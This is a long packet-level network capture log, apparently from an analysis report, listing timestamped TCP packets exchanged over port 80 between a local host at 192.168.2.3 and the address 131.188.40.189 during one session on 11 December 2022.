Dec 11, 2022 09:25:53.987570047 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.007613897 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.007663965 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.007698059 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.007731915 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.007762909 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.007764101 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.007795095 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.007823944 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.007827997 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.007860899 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.007879019 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.007893085 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.007925034 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.007957935 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.007966995 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.007988930 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008016109 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.008019924 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008055925 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008065939 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.008088112 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008120060 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008151054 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008157969 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.008184910 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008199930 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.008218050 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008250952 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008264065 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.008285999 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008317947 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008351088 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008353949 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.008383989 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008403063 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.008414984 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008450031 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008454084 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.008481979 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008514881 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008533001 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.008547068 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008579016 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008584976 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.008610964 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008642912 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008656025 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.008693933 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008704901 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008714914 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.008719921 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008745909 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008776903 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008795977 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.008807898 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008838892 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008851051 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.008879900 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008887053 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.008893967 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008925915 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008958101 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.008959055 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.009046078 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.029006004 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029056072 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029088020 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029120922 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029154062 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029197931 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029232979 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029266119 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029298067 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029331923 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029330015 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.029330015 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.029330015 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.029330015 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.029356956 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029382944 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029409885 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029433966 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029464960 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029501915 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029536963 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029567003 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029570103 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.029570103 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.029599905 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029632092 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029664040 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029685020 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.029685020 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.029699087 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029736996 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029769897 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029804945 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029830933 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.029830933 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.029836893 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029870987 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029901981 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029934883 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029937983 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.029959917 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.029985905 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030018091 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030050993 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030083895 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030118942 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030143023 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.030143023 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.030143023 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.030149937 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030179977 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.030183077 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030216932 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030246973 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030278921 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030299902 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.030313015 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030345917 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030371904 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.030381918 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030415058 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030435085 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.030451059 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030483961 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030489922 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.030518055 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030550003 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030599117 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030647039 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030664921 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.030664921 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.030690908 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030734062 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030738115 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.030777931 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030807018 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.030821085 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030864000 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.030893087 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.031120062 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031167984 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031209946 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031210899 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.031253099 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031282902 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.031295061 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031337976 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031377077 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.031380892 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031424999 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031455994 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.031469107 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031513929 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031544924 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.031557083 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031600952 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031630993 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.031642914 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031685114 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031714916 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.031728029 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031770945 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031807899 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.031812906 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031857967 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031889915 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.031900883 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031943083 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.031974077 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.031985998 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.032028913 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.032063961 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.032074928 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.032116890 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.032150030 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.032160044 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.032205105 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.032238007 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.032248020 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.032291889 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.032325983 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.032335043 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.032377005 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.032418966 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.032422066 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.032491922 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.052602053 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.052670956 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.052716970 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.052762032 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.052804947 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.052849054 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.052850962 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.052850962 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.052892923 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.052936077 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.052978992 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053045988 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053056002 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.053059101 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053056002 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.053087950 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053138971 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053170919 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.053170919 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.053184032 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053226948 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053272009 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053301096 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053307056 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.053307056 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.053347111 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053391933 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053436995 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053468943 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.053479910 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053525925 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053567886 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053601980 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.053617001 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053679943 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053685904 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.053745031 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053792000 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053816080 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.053836107 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053879976 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053905964 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.053925037 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053967953 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.053997993 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.054012060 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054059029 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054085970 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.054101944 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054146051 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054172039 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.054192066 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054236889 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054260015 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.054285049 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054342031 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054367065 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.054393053 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054436922 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054478884 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054507971 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.054522991 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054567099 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054599047 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.054610014 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054653883 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054708958 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054727077 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.054753065 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054790974 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.054796934 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054838896 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054908991 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054953098 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.054987907 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.054995060 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055038929 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055083036 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055114031 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.055125952 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055169106 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055203915 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.055212975 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055254936 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055290937 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.055298090 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055342913 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055377007 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.055387020 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055430889 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055459976 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.055474997 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055516958 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055543900 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.055560112 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055602074 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055629969 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.055644035 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055686951 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055715084 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.055728912 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055772066 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055804014 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.055814028 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055857897 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055886984 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.055901051 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055943012 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.055973053 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.055985928 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056029081 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056056976 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.056073904 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056117058 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056148052 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.056160927 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056204081 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056230068 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.056247950 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056288958 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056319952 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.056330919 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056374073 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056401014 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.056416988 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056459904 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056490898 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.056503057 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056545973 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056567907 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.056605101 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056644917 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056688070 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056732893 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056745052 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.056787014 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.056821108 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056854963 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056896925 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056924105 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.056941032 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.056952953 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.056986094 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057005882 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.057028055 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057071924 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057115078 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057156086 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057180882 CET	49719	80	192.168.2.3	131.188.40.189
